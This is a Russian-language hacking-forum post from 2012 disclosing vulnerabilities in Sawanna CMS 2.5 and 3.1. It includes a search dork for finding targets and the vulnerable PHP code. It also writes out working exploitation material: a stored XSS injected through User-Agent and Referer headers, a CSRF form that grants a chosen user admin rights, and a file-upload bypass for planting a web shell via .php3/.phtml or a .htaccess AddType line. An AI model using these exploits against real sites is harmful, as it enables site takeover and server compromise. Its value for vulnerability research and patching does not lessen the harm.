Старый 09.01.2012, 20:06   #1
wwwMedic
 
Регистрация: 13.09.2011
Сообщений: 27
Репутация: 10
По умолчанию Sawanna CMS

Продукт: Sawanna CMS
Официальный сайт: http://sawanna.org/
Дорк: "Powered by Sawanna CMS"

Version: 2.5 (возможно более ранние)

Stored XSS
Требования: -
Описание: User-agent и referer обрабатываются только mysql_real_escape_string(). HTML код попадает в базу и выводится в разделе статискика админ-панели.
Уязвимый код:
/sawanna/log/log.inc.php
PHP код:
$referer=isset($_SERVER['HTTP_REFERER']) ? $this->db->escape_string($_SERVER['HTTP_REFERER']) : '-';
        
$query=!empty($_SERVER['QUERY_STRING']) ? $this->db->escape_string($_SERVER['QUERY_STRING']) : '-';
        
$user_agent=!empty($_SERVER['HTTP_USER_AGENT']) ? $this->db->escape_string($_SERVER['HTTP_USER_AGENT']) : '-';
...............    
if (!(
$this->db->query("insert into ".DB_PREFIX."_log (ip,referer,query,user_agent,status,access_time) values ('".$this->ip."','".$referer."','".$query."','".$user_agent."','".$status."','".$access_time."')")))
        {
            
$this->error=$this->db->error;
            return 
false;
        }
        return 
true
/module/services/statistic.php
PHP код:
$this->db->query("select * from ".DB_PREFIX."_log order by access_time desc");
        
$co=0;
        while (
$log=$this->db->fetch_array()) {
            
$co++;
            if (
$co<$current) continue;
            
            
$html.='<b>[string]date[/string] : '.date('d.m.Y H:i:s',$log['access_time']).'</b><br />[string]ip[/string] : '.$log['ip'].'<br />[string]query[/string] : '.$log['query'].'<br />[string]referer[/string] : '.$log['referer'].'<br />[string]user_agent[/string] : '.$log['user_agent'].'<br />[string]status[/string] : '.$log['status'].'<br /><hr /><br />';
            
            if (
$co>=$this->limit+$current-1) break;
        }
...............    
echo 
$html
Эксплуатация: HTML/JS помещается в UA или Referer. После этого загоняем админа посмотреть статистику.
Код:
Host: target.ru
User-Agent: [XSS]
Referer: [XSS]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive

XSRF
Требования: -
Описание: Формы в админке никак не защищены от XSRF. Можно понаделать много интересного.
Например, сделать произвольного пользователя админом.
Эксплуатация:
Код HTML:
<form action="http://target.ru/index.php?admin/&component=userAdmin&act=doedit_alt&id=[ID]" method="post">
<input type="hidden" name="user_mail" value="[MAIL]" />
<input type="hidden" name="user_group" value="1" />
<input type="hidden" name="user_status" value="1" />
<input type="submit" value="Отправить" />
</form>
Или вставить в каждую страницу произвольный html/js. Требуется включенное дополнение Custom Code (HTML,JavaScript), оно есть "из коробки", но по дефолту отключено. Ни его включение, ни вставка кода от XSRF не защищены. Эксплуатация аналогично.
Примечание: чудесно юзается вместе а активной XSS.


Shell Upload
Требования: Права администратора && ALLOW_UPLOAD_ALL=1 (по дефолту 0)
Описание: При ALLOW_UPLOAD_ALL=1 дает заливать все, кроме .pl .php .exe
При ALLOW_UPLOAD_ALL=0 идет проверка типа(что пофиг) и расширения по белому списку(что плохо).
Уязвимый код:
/module/services/upload.php
PHP код:
if (substr($filename,-4) == '.php' || substr($filename,-3) == '.pl' || substr($filename,-4) == '.exe')
        {
            
$this->response.= '[string]invalid_file_type[/string]';
            continue;
        }
...............    
elseif (
ALLOW_UPLOAD_ALL==1) {
                    
$path=ROOT_DIR."/upload/docs/".$filename;
                    if (
copy($uploaded_file['tmp_name'],$path))
                        
$this->response.= '[string]file_upload_ok[/string]'
Эксплуатация: .php3 .phtml и так далее. Либо .htaccess с содржанием
Код:
AddType application/x-httpd-php .php <extension>

Version: 3.1

Stored XSS
Требования: -
Описание: абсолюно аналогично ранним версиям.

От XSRF добавили защиту с помощью токена, но, используя XSS вполне можно получить админские права своему юзеру.

Интерес в исследовании 2.5 был шкурный, а 3.1 - спортивный, поэтому вторая часть короче
wwwMedic вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot